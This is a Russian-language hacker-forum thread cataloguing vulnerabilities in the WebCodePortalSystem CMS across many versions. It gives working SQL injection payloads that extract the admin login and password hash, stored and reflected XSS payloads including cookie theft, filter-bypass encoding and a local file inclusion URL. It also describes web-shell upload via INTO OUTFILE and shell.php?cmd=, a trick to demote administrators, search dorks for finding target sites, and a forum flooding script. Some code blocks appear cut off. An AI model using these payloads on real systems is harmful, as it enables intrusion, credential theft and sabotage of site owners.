![]() |
[ Обзор уязвимостей Wcps ]
Уязвимости WebCodePortalSystem:
WebCodePortalSystem <= 3.7.1 - SQL инъекции, Пассивные XSS (c) I-I()/Ib WebCodePortalSystem <= 3.8.3.1 - Общая информация, Активная XSS, SQL инъекция (+видео), Способ заливки шелла (c) Grey WebCodePortalSystem <= 4.0.1 - Активная XSS (c) Grey WebCodePortalSystem <= 4.0.1 - SQL инъекция (c) Grey WebCodePortalSystem <= 4.0.1 - Флудилка форума (c) Grey WebCodePortalSystem <= 4.0.1 - Пассивная XSS, SQL инъекция (c) I-I()/Ib WebCodePortalSystem <= 4.0.1 - сплойт под SQL инъекцию (c) I-I()/Ib WebCodePortalSystem <= 4.1 - SQL инъекция: "понижение прав админа" (+видео) (с) Grey WebCodePortalSystem <= 4.1 - Пассивные XSS (c) I-I()/Ib WebCodePortalSystem <= 4.1 - Активная XSS (с) Grey WebCodePortalSystem <= 4.1 - Локальный инклуд, Пассивная XSS (c) Macro WebCodePortalSystem <= 4.2.1 - Пассивные XSS (c) I-I()/Ib WebCodePortalSystem <= 4.2.1 - Перезапись переменных (c) I-I()/Ib WebCodePortalSystem <= 4.2.1 (4.2.2) - Небольшая статья про использование XSS: "Создание привилегированного пользователя..." (+снифер, +видео) (с) Grey WebCodePortalSystem <= 4.2.1 - Активная XSS (c) I-I()/Ib WebCodePortalSystem <= 4.2.1 (4.2.2) - Пассивная XSS (с) Grey WebCodePortalSystem <= 4.3 - Пассивная XSS (с) Macro WebCodePortalSystem <= 4.3 - SQL инъекция (+сплойт) (c) I-I()/Ib WebCodePortalSystem <= 4.3 - Пассивная XSS (с) Grey WebCodePortalSystem <= 4.3.1 - Пассивные XSS (c) I-I()/Ib WebCodePortalSystem <= 4.3.1 - Локальный инклуд (c) I-I()/Ib WebCodePortalSystem <= 4.3.1 - Пассивная XSS (с) Grey WebCodePortalSystem <= 4.3.1 - Льём шелл... (с) Grey WebCodePortalSystem <= 4.4.1 - Remote include (+сплойт) (с) I-I()/Ib WebCodePortalSystem <= 4.4.2 - SQL injection (с) I-I()/Ib WebCodePortalSystem <= 4.4.3 - SQL injection (с) I-I()/Ib WebCodePortalSystem <= 5 - SQL injection (с) I-I()/IbУязвимости дополнительных модулей WebCodePortalSystem: AvtoBloger V2.0 - Пассивная XSS (c) I-I()/Ib Cates v1.0 - SQL инъекция (+сплойт) (c) I-I()/Ib NewsTematic 1.1 - Пассивные XSS (c) I-I()/Ib mod_BigNews1.1/Mod download sql inj - Пассивные XSS/SQL инъекция (c) gibson =============== =============== =============== =============== WebCodePortalSystem http://wcps.ru/ Насчет версий не знаю. Точно уязвима версия 3.7.1 именно в ней я баги и нашел. Проверял около полгода назад только сейчас руки дошли опубликовать... Mysql-injection: Параметр User-agent в заголовках пакетов фильтруется только на drop, delete, union, char, benchmark Mysql-injection: Параметр xxxxxxxxx_id_wcps в Cookie не фильтруется никак. Уязвимый скрипт: aut.php XSS: Код:
http://test2.ru/php/wojs.php?tit=xss</title><body onload=javascript:alert('xss')> |
Вложений: 1
WebCodePortalSystem <= v. 3.8.3.1 + ВИДЕО (исправил ошибку с кодеком - теперь и весит два метра и открываться должно без проблем)
[ОБЩАЯ ИНФОРМАЦИЯ] Стандартный префикс - wc_ Тип хеша - md5(password) Таблица с пользователями - [префикс]_user Для поиска сайтов с таким движком вводим: WebCodePortalSystem v. 3.8.3.1 Яндекс: http://www.yandex.ru/yandsearch?clid=9582&text=WebCodePortalSystem+v.+3 .8.3.1 Гугл: http://www.google.ru/search?hl=ru&q=WebCodePortalSystem+v.+3.8.3.1&btnG =%D0%9F%D0%BE%D0%B8%D1%81%D0%BA+%D0%B2+Google&lr=& aq=t&oq= [УЯЗВИМОСТИ (версия WebCodePortalSystem v. 3.8.3.1 - на момент написания самая новая)] [1] [Активная XSS] Нет фильтрации в referer е, формируем пакет: Код:
GET /index.php HTTP/1.1[2] [SQL инъекция] Уязвим скрипт гостевой книги, скрипт add.php Заходим в сфой профиль, "Аккаунт" и в поле "URL Вашего Сайта:" вводим следующее: ',version(),'','1','1')# Символ # так же как и /* - символ конца строки Дальше заходим в гостевую книгу и видим в поле "URL вашего сайта:" введенную нами скулю, в поле с текстом сообщения вводим что угодно - не имеет значения (но не оставляем пустым и сильно маленьким - 5-6 символов норм). Добавляем сообщение и видим результат работы подзапроса вместо текста сообщения, в данном случае будет выведена версия БД. К сожалению из-за ограничения на длинну вставить нормальный подзапрос не полчучится + еще одна не приятная особенность - поставленные пробелы не учитываются, поэтому придется использовать кавычки: ',(select"123"),'','1','1')# - будет выведенно 123 К сожалению от запроса ограниченного по длинне току мало, но сдаваться не хорошо, поэтму я нашел способ как это можно обойти. И так, у нас есть параметр в котором кавычка не фильтруется, это "URL вашего сайта:", следовательно если мы подставим кавычку то сможем менять наш запрос, да вот кстати сам запрос: PHP код:
URL вашего сайта: ',/* Текст сообщения: */version(),null,3,3)# И вот как будет выглядеть запрос: PHP код:
И так мы полчаем возможность внедрить sql инъекцию, к примеру вывод логина и хеша пароля пользователя (правда придется составлять два отдельных запроса, т.к. использовать запятую нельзя): Текст сообщения: */(select user_login from wc_user where id=2),null,3,3)# Текст сообщения: */(select user_pass from wc_user where id=2),null,3,3)# URL вашего сайта (в обоих случаях): ',/* !!!! При регистрации не вводите в URL вашего сайта: ',/* - кавычка будет экранироваться, вводить только при редактирование данных в профиле!!!!!!! !!!! Уязвимсоть действует только если вы регились на сайте и изменяли в профиле этот параметр, при написание сообщения в гостевой без реги на сайте - кавычка будет экранироваться!!!!!!! [В АДМИНКЕ] [Раскрытие абсолютного пути] В обычный комплект (к примеру версия WebCodePortalSystem v. 3.8.3.1) входит не установленный модуль «Инфо PHP» Устанавливаем «Инсталл» Инфо PHP, после чего появляется новая опция «Инфо PHP» [Заливка шелла] 1. Через sql запрос. Создаем файл с запросом, к примеру файл 1.sql: select 'код шелла' into outfile 'абсолютный путь/shell.php'; Получаем шелл: http://site.ru/shell.php 2. Через редактирование меток «Метки», к примеру метка METKA_STATUS Добавляем следующий код: PHP код:
http://site.ru/shell.php?cmd=[cmd] Или инклудим шелл, тогда код: PHP код:
http://site.ru/ --------------------------------------------------------------- Видео (весит метра 2): http://rapidshare.com/files/76360514/heck.rar.html Описание к видео в файле в аттаче (hek.txt): |
WebCodePortalSystem v.4.0.1
[Активная XSS] Достаточно быстро залатали предыдущие уязвимости, но латали на скорую руку, судя по всему, и активная XSS попрежнему осталась, хотя с ней будет немного больше гемора чем было раньше, но это уже мелочи. Для обхода филтра воспользуемся вот этим удобным скриптом с помощью которого можно обойти многие фильтры: http://ha.ckers.org/xss.html#XSScalc Закодируем нашу строку: javascript:alert('test'); -> Character Encoding Calculator -> вводим сюда скрипт: ASCII Text -> и получаем его здесь Decimal Value: HTML (without semicolons): -> javascript:alert('test'); Формируем пакет: Код:
GET /index.php HTTP/1.1Статистика -> Переходы |
WebCodePortalSystem v.4.0.1
[SQL инъекция] Заходим в новости, открываем любую - опция "Читать", дальше видим надпись "Оценить:". Лезем в исходник страницы (имеется виду html страницы) к примеру в Опере Вид - Исходный текст Находим строчку: Код:
<option value="1">1</option>Код:
<option value="1,title=(select user_login from wc_user where id=2),photocor=(select user_pass from wc_user where id=2),ntext=null,phototext=null,kritery=null">1</option>Все теперь если просматривать новости, то в место заголовка текущей новости будет логин админа, а текст новости - хеш его пароля. Видео (качество плохое, но понять можно): http://rapidshare.com/files/78277422/heck2.rar.html |
WebCodePortalSystem v.4.0.1
[Флудилка форума] Проверка с картинками сделана криво - после авторизации на форуме вводить символы с картинки не нужно... Вот состряпал две версии флудилки - одна работает медлено, вторая быстрее (но могут не все темы создаваться (к примеру 4-5 из 100 могут не создасться)). Первая версия: PHP код:
PHP код:
1) Редактируем в скрипте данные (указываем адрес, номер раздела, !!!и не забываем сессию!!!). 2) Ну а дальше просто юзаем скрипт: php c:\wcps_forum_flood.php |
WebCodePortalSystem v.4.0.1
XSS Начнем с XSS так как она более юзаема. Находится она в файле mod/comment/index.php в самом конце. Вот уязвимый код: Код:
if ($nma=='comment'){Код:
http://test2.ru/index.php?nma=comment&fla=index&ids=sssssssssss%20onClick=document.write(document.cookie)Скажу сразу иньекция после order by, что оказывает к сожалению весьма пагубное влияние на ее юзаемость. Описывать сильно не буду она того не стоит. Вот так она выглядит: Код:
http://test2.ru/index.php?nma=catalog&fla=pod_menu&cat_id=1&by=[SQL code] |
WebCodePortalSystem V4.1 (новая версия) + ВИДЕО
!!! [Понижение прав админа] !!! Очень интересная уязвимость позволяет понизить права пользователя. Но она самом деле sql инъекция. В файле mod/comment/ --> add.php <-- Есть запрос вида: PHP код:
Получаем возможность увеличить содержимое любой колонки на 1. Самое нормальное где это можно применить - это в таблице с пользователями - увеличив значение поля user_uroven на 1 тем самым изменив права пользователя (понизить права). Права админа: user_uroven = 1 Права пользователя: user_uroven = 3 Значит нам нужно будет провести операцию два раза - но это не проблема. ---------Как делать-------------- Заходим в "Новости", выбираем какую нидь новость (нажимаем "Читать") -> "Добавить комментарий". Дальше лезем в исходник страницы (в Опере: Вид -> Исходный текст). Находим вот такую форму: Код:
<form action="http://test2.ru/index.php?nma=comment&fla=add" method=post name=form onsubmit="return JScheckForm(this)">Код:
<form action="http://test2.ru/index.php?nma=comment&fla=add" method=post name=form onsubmit="return JScheckForm(this)">Получится что в таблице user (знать префикс не нужно, он приклеится сам) у пользователя с id = 2 (в данном случае) в поле user_uroven значение увеличится на 1. Как я уже сказал выше нужно что бы значение было равно 3, а не 2. По этому проделываем операцию еще раз. Все - пользователь больше не админ. Видео: http://rapidshare.com/files/79874554/heck3.rar.html |
WebCodePortalSystem V4.1
Ну вот очередная порция багов. Две XSS: Код:
http://test2.ru/index.php?nma=news&fla=tema&namecat[1']=2</a><body onLoad=eval("ale"+"rt(documen"+"t.cookie)")>Код:
http://test2.ru/index.php?nma=search&fla=f.lib&name_sm[1']=1'<body onLoad=eval("ale"+"rt(documen"+"t.cookie)")> |
WebCodePortalSystem V4.1
Активная XSS: Код:
GET /index.php HTTP/1.1 |
Локальный инклуд
/php/print_news.php?_SESSION[tema_scan][templates_wcinfoview.php]=1&portal_skin=[some_local_script]%00 Пассивная XSS Код:
/php/wojs.php?inflang=document.write(unescape(/%253C%2573%2563%2572%2569%2570%2574%253E%2561%256C%2565%2572%2574%2528%2527%2558%2553%2553%2521%2521%2521%2527%2529%253B%253C%252F%2573%2563%2572%2569%2570%2574%253E/)); |
| Время: 04:35 |